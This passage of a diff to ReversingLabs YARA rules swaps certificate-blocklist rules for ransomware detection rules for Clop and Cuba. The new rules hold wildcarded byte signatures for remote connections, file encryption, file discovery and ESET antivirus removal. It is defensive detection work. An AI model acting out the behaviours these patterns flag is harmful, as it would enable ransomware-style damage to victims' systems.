BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? C3 + } + $remote_connection = { + 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 FF 05 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 0F 85 ?? + ?? ?? ?? 8D 83 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 66 8B 83 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 25 ?? ?? ?? ?? 8D 55 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? + ?? ?? 8D 55 ?? 33 C0 8A 83 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 75 ?? 8D 45 ?? BA ?? ?? ?? + ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 83 ?? ?? ?? ?? 8B 08 FF 51 ?? 68 ?? ?? ?? ?? 66 8B 83 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 25 ?? ?? ?? ?? 8D 55 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? + ?? ?? 8D 55 ?? 33 C0 8A 83 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 75 ?? 8D 45 ?? BA ?? ?? ?? + ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 83 ?? ?? ?? ?? 8B 08 FF 51 ?? 8D 45 ?? 8D 93 ?? ?? ?? + ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B + 55 ?? 8B 83 ?? ?? ?? ?? 8B 08 FF 51 ?? 8D 45 ?? 8D 93 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 8B 4D ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 83 ?? ?? ?? + ?? 8B 08 FF 51 ?? 8D 55 ?? 0F B7 83 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 8D 45 ?? BA + ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 83 ?? ?? ?? ?? 8B 08 FF 51 ?? 8D 55 ?? 0F B7 + 83 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 + ?? 8B 83 ?? ?? ?? ?? 8B 08 FF 51 ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 6A ?? + 6A ?? 6A ?? E8 ?? ?? ?? ?? 8B F0 81 FE ?? ?? ?? ?? 76 ?? E8 ?? ?? ?? ?? 66 89 B3 ?? + ?? ?? ?? 66 C7 45 ?? ?? ?? 66 C7 45 ?? ?? ?? 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 0F B7 C6 50 E8 ?? ?? ?? ?? 66 81 BB ?? ?? ?? ?? ?? ?? 75 ?? 8D 4D ?? 66 BA + ?? ?? 8B C3 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8B 83 ?? ?? ?? ?? 50 0F B7 83 ?? ?? + ?? ?? 50 E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 EB ?? E9 ?? ?? ?? ?? FF 0D ?? ?? ?? + ?? 83 3D ?? ?? ?? ?? ?? 75 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 + } + $remote_ftp_connection = { + BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8D 4D ?? 8B 45 ?? 8B 18 FF 53 ?? 8B 45 ?? 66 + 8B 80 ?? ?? ?? ?? 66 3D ?? ?? 7E ?? 66 3D ?? ?? 7D ?? 8B 45 ?? 66 83 B8 ?? ?? ?? ?? + ?? 74 ?? 8B 5D ?? 8B 55 ?? 8B 83 ?? ?? ?? ?? FF 93 ?? ?? ?? ?? 8B 4D ?? B2 ?? A1 ?? + ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 66 81 B8 ?? ?? ?? ?? ?? ?? 75 ?? B9 + ?? ?? ?? ?? B2 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 88 ?? ?? ?? ?? 8D 45 ?? BA ?? + ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8D 4D ?? 8B 45 ?? 8B 18 FF 53 ?? 8B 45 ?? 66 8B 80 + ?? ?? ?? ?? 66 3D ?? ?? 7E ?? 66 3D ?? ?? 7D ?? 8B 45 ?? 66 83 B8 ?? ?? ?? ?? ?? 74 + ?? 8B 5D ?? 8B 55 ?? 8B 83 ?? ?? ?? ?? FF 93 ?? ?? ?? ?? 8B 4D ?? B2 ?? A1 ?? ?? ?? + ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 B8 ?? ?? ?? ?? ?? 74 ?? 8B 45 ?? 83 B8 + ?? ?? ?? ?? ?? 75 ?? 8B 45 ?? 66 83 B8 ?? ?? ?? ?? ?? 74 ?? 8D 55 ?? 8B 5D ?? 8B 83 + ?? ?? ?? ?? FF 93 ?? ?? ?? ?? 8B 45 ?? 83 B8 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 45 + ?? 8A 80 ?? ?? ?? ?? 2C ?? 72 ?? 74 ?? FE C8 74 ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B + 45 ?? FF B0 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 45 ?? FF B0 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? + ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8D 4D ?? 8B 45 ?? 8B 18 FF 53 ?? EB ?? 8B 45 ?? 8B 88 + ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8D 4D ?? 8B 45 ?? 8B 18 + FF 53 ?? EB ?? 8B 45 ?? 8B 88 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B + 55 ?? 8D 4D ?? 8B 45 ?? 8B 18 FF 53 ?? 8B 45 ?? 83 B8 ?? ?? ?? ?? ?? 74 ?? 8B 45 ?? + 80 B8 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 88 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? + ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? B2 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 88 ?? ?? ?? + ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8D 4D ?? 8B 45 ?? 8B 18 FF 53 ?? + 8B 45 ?? 66 8B 80 ?? ?? ?? ?? 66 3D ?? ?? 7E ?? 66 3D ?? ?? 7D ?? 8B 45 ?? 66 83 B8 + ?? ?? ?? ?? ?? 74 ?? 8B 5D ?? 8B 55 ?? 8B 83 ?? ?? ?? ?? FF 93 ?? ?? ?? ?? 8B 4D ?? + B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 66 81 B8 ?? ?? ?? ?? ?? + ?? 75 ?? B9 ?? ?? ?? ?? B2 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 88 ?? ?? ?? ?? 8D + 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8D 4D ?? 8B 45 ?? 8B 18 FF 53 ?? 8B 45 + ?? 66 8B 80 ?? ?? ?? ?? 66 3D ?? ?? 7E ?? 66 3D ?? ?? 7D ?? 8B 45 ?? 66 83 B8 ?? ?? + ?? ?? ?? 74 ?? 8B 5D ?? 8B 55 ?? 8B 83 ?? ?? ?? ?? FF 93 ?? ?? ?? ?? 8B 4D ?? B2 ?? + A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 66 83 B8 ?? ?? ?? ?? ?? 74 ?? + 8B 5D ?? 8B 55 ?? 8B 83 ?? ?? ?? ?? FF 93 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Kompaniya Auttek" and pe.signatures [ i ] . serial == "15:c5:af:15:af:ec:f1:c9:00:cb:ab:0c:a9:16:56:29" and 1586091840 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and $do_dll_stuff_and_create_thread and $find_files and $remote_connection and $remote_ftp_connection } - -rule REVERSINGLABS_Cert_Blocklist_476De2F108D20B43Ba3Bae6F331Af8F1 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Clop : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Clop ransomware." author = "ReversingLabs" - id = "5a741e6d-9b58-5536-8987-b3c36cdfcd5f" - date = "2020-08-05" - modified = "2023-11-08" + id = "0ea63119-3773-5404-b332-8e3966fd35df" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4216-L4232" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Clop.yara#L1-L109" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "e5edf3e15b2139ba6cd85f2cfea63b53f7fa36a3fd7224a4a9ccbe5de6eb6f1d" + logic_hash = "0b63db16a4b1cae27a97d0ff9df692a63f1a11120ffac69c05a5c71fbd224007" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Clop" + tc_detection_factor = 5 importance = 25 + strings: + $encrypt_files_p1 = { + 8B 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 6A ?? 8B 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? + 83 C4 ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 83 BD ?? + ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? + ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? + ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 8D 95 ?? ?? ?? ?? 52 6A ?? 68 ?? ?? ?? ?? 8B 85 ?? ?? + ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8B 8D ?? ?? ?? + ?? 51 FF 15 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? + ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? + ?? 8B 88 ?? ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 8B 82 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 8B + 91 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 52 E8 + ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 8B 95 ?? ?? ?? + ?? 52 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 83 BD ?? ?? ?? ?? ?? 74 ?? + 68 ?? ?? ?? ?? 6A ?? 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 + ?? 68 ?? ?? ?? ?? 6A ?? 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? + 74 ?? 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? + ?? ?? 52 FF 15 + } + $encrypt_files_p2 = { + 55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 45 ?? 50 8D + 4D ?? 51 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 52 FF + 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 8B 0D ?? ?? ?? ?? 51 8D 95 ?? + ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 6A ?? 8D 85 + ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 6A ?? 6A ?? 8D 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? + ?? 85 C0 75 ?? 33 C0 E9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 6A ?? + 68 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? FF 15 ?? ?? ?? + ?? 85 C0 75 ?? 33 C0 E9 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A + ?? 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 33 C0 E9 ?? ?? ?? + ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 6A ?? 8B + 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 33 C0 E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? + FF 15 ?? ?? ?? ?? BA ?? ?? ?? ?? 85 D2 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 8B 8D + ?? ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 52 6A ?? 6A ?? E8 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 50 + 68 ?? ?? ?? ?? 8D 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? + 8B 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 6A ?? 6A ?? E8 ?? ?? + ?? ?? 50 8B 15 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 + ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? 33 C0 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B + E5 5D C2 + } + $encrypt_files_p3 = { + 55 8B EC 83 EC ?? 6A ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8B + 4D ?? 51 8D 55 ?? 52 6A ?? 6A ?? 6A ?? 6A ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 + ?? FF 15 ?? ?? ?? ?? 33 C0 EB ?? 8B 4D ?? 51 6A ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 + ?? 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 8D 4D ?? + 51 8B 55 ?? 52 6A ?? 6A ?? 6A ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? + ?? ?? ?? 33 C0 EB ?? 8B 4D ?? 8B 55 ?? 89 11 33 C0 8B E5 5D C3 + } + $find_files = { + 8D 95 ?? ?? ?? ?? 52 6A ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 + 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 95 ?? ?? ?? ?? 52 + 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 ?? + 8D 8D ?? ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD + ?? ?? ?? ?? ?? 75 ?? EB ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 + C0 76 ?? 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? + 50 FF 15 ?? ?? ?? ?? 83 C4 ?? EB ?? 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 6A ?? 68 + ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? + 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? + ?? 6A ?? 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? + 51 6A ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A ?? 8D 95 ?? ?? ?? ?? 52 8B 85 ?? ?? + ?? ?? 50 8B 8D ?? ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? C7 85 ?? ?? ?? + ?? ?? ?? ?? ?? C6 45 ?? ?? 6A ?? 6A ?? 8D 45 ?? 50 E8 + } + $uninstall_eset_av = { + 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 86 ?? ?? ?? ?? 8D 4D ?? 51 68 ?? ?? ?? ?? 8D + 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 68 ?? + ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? EB ?? 8B 8D ?? + ?? ?? ?? 83 C1 ?? 89 8D ?? ?? ?? ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 7D ?? 68 ?? ?? ?? + ?? 6A ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A ?? 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? + ?? ?? 6A ?? 6A ?? 6A ?? 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? + FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A ?? 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 6A + ?? 6A ?? 6A ?? 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? E9 ?? + ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? + ?? ?? 8B 85 ?? ?? ?? ?? 50 FF 15 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Digiwill Limited" and pe.signatures [ i ] . serial == "47:6d:e2:f1:08:d2:0b:43:ba:3b:ae:6f:33:1a:f8:f1" and 1588135722 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) and ( $uninstall_eset_av ) } - -rule REVERSINGLABS_Cert_Blocklist_08Ddcc67F8Cad6929607E4Cda29B3503 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Cuba : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Cuba ransomware." author = "ReversingLabs" - id = "3563547f-556b-56e3-ad25-cfec0294fe93" - date = "2020-08-05" - modified = "2023-11-08" + id = "b2c81849-9fa6-58b6-b6fe-4d9a5f0923ea" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4234-L4250" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Cuba.yara#L1-L126" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "4cd975312ca825b51f34f5c89184a56526877436224c1e7407d715b28ebfd9d5" + logic_hash = "0a8dea6e38a6407897b994ea119bc8b0712a94363b7b3942dcd32c65ee5548d4" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Cuba" + tc_detection_factor = 5 importance = 25 + strings: + $find_files_p1 = { + 51 50 8D 4D ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 8B D7 8D 4D ?? E8 ?? + ?? ?? ?? 83 C4 ?? C6 45 ?? ?? F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 4D ?? E8 ?? + ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 83 7D ?? ?? 72 ?? 83 7D ?? ?? 8D 45 ?? 0F 43 45 ?? + 0F B7 00 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 75 ?? 83 7D ?? ?? 8D 45 ?? 0F 43 45 ?? + 0F B7 40 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 75 ?? 83 7D ?? ?? 8D 45 ?? 0F 43 45 + ?? 0F B7 40 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 75 ?? 83 7D ?? ?? 8D 45 ?? 0F 43 + 45 ?? 0F B7 40 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 75 ?? B0 ?? EB ?? 32 C0 84 C0 + 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 55 ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B D3 C6 + 45 ?? ?? 8B C8 E8 ?? ?? ?? ?? C6 45 ?? ?? 8B 55 ?? 83 FA ?? 0F 82 ?? ?? ?? ?? 8B 4D + ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 + ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8D 55 ?? + 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 75 ?? 8B 5D ?? 83 FB ?? 8B 7D ?? 8B 45 ?? 0F + 43 F7 83 F8 ?? 75 ?? B9 ?? ?? ?? ?? 8B D0 2B F1 66 8B 04 0E 66 3B 01 75 ?? 83 C1 ?? + 83 EA ?? 75 ?? E9 ?? ?? ?? ?? 8B 45 ?? 83 FB ?? 8D 75 ?? 0F 43 F7 83 F8 ?? 75 ?? B9 + ?? ?? ?? ?? 8B D0 2B F1 66 8B 04 0E 66 3B 01 75 ?? 83 C1 ?? 83 EA ?? 75 ?? E9 ?? ?? + ?? ?? 8B 45 ?? 83 FB ?? 8D 75 ?? 0F 43 F7 83 F8 ?? 75 ?? B9 ?? ?? ?? ?? 8B D0 2B F1 + } + $find_files_p2 = { + 66 8B 04 0E 66 3B 01 75 ?? 83 C1 ?? 83 EA ?? 75 ?? E9 ?? ?? ?? ?? 8B 45 ?? 83 FB ?? + 8D 75 ?? 0F 43 F7 83 F8 ?? 75 ?? B9 ?? ?? ?? ?? 8B D0 2B F1 66 8B 04 0E 66 3B 01 75 + ?? 83 C1 ?? 83 EA ?? 75 ?? E9 ?? ?? ?? ?? 8B 45 ?? 83 FB ?? 8D 75 ?? 0F 43 F7 83 F8 + ?? 75 ?? B9 ?? ?? ?? ?? 8B D0 2B F1 66 8B 04 0E 66 3B 01 75 ?? 83 C1 ?? 83 EA ?? 75 + ?? EB ?? 83 7D ?? ?? 75 ?? 8B 55 ?? 8D 45 ?? 8B 4D ?? 83 FA ?? 0F 43 C1 66 83 38 ?? + 75 ?? 83 FA ?? 8D 45 ?? 0F 43 C1 66 83 78 ?? ?? 75 ?? 83 FA ?? 8D 45 ?? 0F 43 C1 66 + 83 78 ?? ?? 75 ?? 83 FA ?? 8D 45 ?? 0F 43 C1 66 83 78 ?? ?? 74 ?? 8B 8D ?? ?? ?? ?? + 8D 45 ?? 50 E8 ?? ?? ?? ?? 8B 5D ?? 8B 7D ?? C6 45 ?? ?? 83 FB ?? 72 ?? 8D 0C 5D ?? + ?? ?? ?? 8B C7 81 F9 ?? ?? ?? ?? 72 ?? 8B 7F ?? 83 C1 ?? 2B C7 83 C0 ?? 83 F8 ?? 0F + 87 ?? ?? ?? ?? 51 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B BD ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8B + 9D ?? ?? ?? ?? C6 45 ?? ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B + C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? + ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 45 ?? ?? ?? ?? ?? 88 45 ?? 8B 55 ?? C7 45 + ?? ?? ?? ?? ?? 66 89 45 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA + ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? + ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 + } + $enum_resources = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 + 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B DA 89 5D ?? 8D 45 ?? C7 45 ?? ?? ?? + ?? ?? 50 51 6A ?? 6A ?? 6A ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 32 + C0 E9 ?? ?? ?? ?? FF 75 ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F0 89 75 ?? 85 F6 74 ?? 66 90 + FF 75 ?? 6A ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 50 56 8D 45 ?? 50 FF 75 ?? FF 15 + ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 33 FF 39 7D ?? 76 ?? 83 C6 ?? 83 7E ?? ?? 0F 85 + ?? ?? ?? ?? 83 3E ?? 0F 85 ?? ?? ?? ?? 8B 56 ?? 33 C0 66 89 45 ?? 8B C2 C7 45 ?? ?? + ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 58 ?? 66 8B 08 83 C0 ?? 66 85 C9 75 ?? 2B C3 8D 4D + ?? D1 F8 50 52 E8 ?? ?? ?? ?? 8B 5D ?? 8D 45 ?? 50 8B CB C7 45 ?? ?? ?? ?? ?? E8 ?? + ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? + 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 + E8 ?? ?? ?? ?? 83 C4 ?? F7 46 ?? ?? ?? ?? ?? 74 ?? 8D 4E ?? 8B D3 E8 ?? ?? ?? ?? 47 + 83 C6 ?? 3B 7D ?? 0F 82 ?? ?? ?? ?? 8B 75 ?? E9 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? FF + 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 94 C0 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B + 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 + } + $encrypt_files_p1 = { + 55 8B EC 